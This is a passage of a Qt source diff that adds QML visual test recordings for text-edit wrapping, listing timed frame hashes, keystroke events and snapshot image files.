2800 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2816 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 2832 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 2848 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Frame { + msec: 2864 + hash: "3c455f51fea0926576077d55d6fbfbb2" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2880 + image: "qt-669.2.png" + } + Frame { + msec: 2896 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 2912 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 2928 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2944 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 2960 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 2976 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 2992 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Frame { + msec: 3008 + hash: "394360c0bff5ee3ad206d2911838d64e" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3024 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3040 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3056 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3072 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3088 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3104 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3120 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3136 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3152 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3168 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3184 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3200 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3216 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3232 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3248 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3264 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3280 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3296 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3312 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3328 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3344 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3360 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3376 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3392 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3408 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3424 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3440 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3456 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3472 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3488 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3504 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3520 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3536 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3552 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3568 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3584 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3600 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3616 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3632 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3648 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3664 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3680 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Frame { + msec: 3696 + hash: "10573e4c9dab5bd6e46ec79949c098e5" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3712 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3728 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3744 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3760 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3776 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3792 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3808 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3824 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3840 + image: "qt-669.3.png" + } + Frame { + msec: 3856 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3872 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3888 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3904 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3920 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3936 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3952 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3968 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 3984 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4000 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4016 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4032 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4048 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4064 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4080 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4096 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4112 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4128 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4144 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4160 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4176 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4192 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4208 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4224 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4240 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4256 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4272 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4288 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } + Frame { + msec: 4304 + hash: "4e0ce00bde70a96774a6477ef2305b7f" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml new file mode 100644 index 0000000..f96daa9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml @@ -0,0 +1,2467 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 33554432 + text: "54" + autorep: false + count: 1 + } + Frame { + msec: 32 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 16777248 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 48 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 64 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 80 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 96 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Key { + type: 7 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 720 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 800 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 880 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 896 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 912 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 928 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 944 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 960 + image: "wrap.0.png" + } + Frame { + msec: 976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1072 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 1088 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1104 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1120 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1136 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1152 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1168 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1184 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 1200 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1216 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1232 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1248 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1264 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1280 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1296 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1312 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1328 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1344 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1360 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1376 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1392 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1408 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1424 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1440 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1456 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1472 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1488 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1504 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1520 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1536 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1552 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 1568 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1584 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1600 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1616 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1632 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Key { + type: 7 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 1648 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1664 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1680 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1696 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1712 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1728 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1744 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1760 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 1776 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1792 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1808 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1824 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1840 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1856 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1872 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1888 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1904 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1920 + image: "wrap.1.png" + } + Frame { + msec: 1936 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1952 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1968 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2064 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2080 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2096 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 88 + modifiers: 0 + text: "78" + autorep: false + count: 1 + } + Frame { + msec: 2224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 88 + modifiers: 0 + text: "78" + autorep: false + count: 1 + } + Frame { + msec: 2320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2544 + hash: 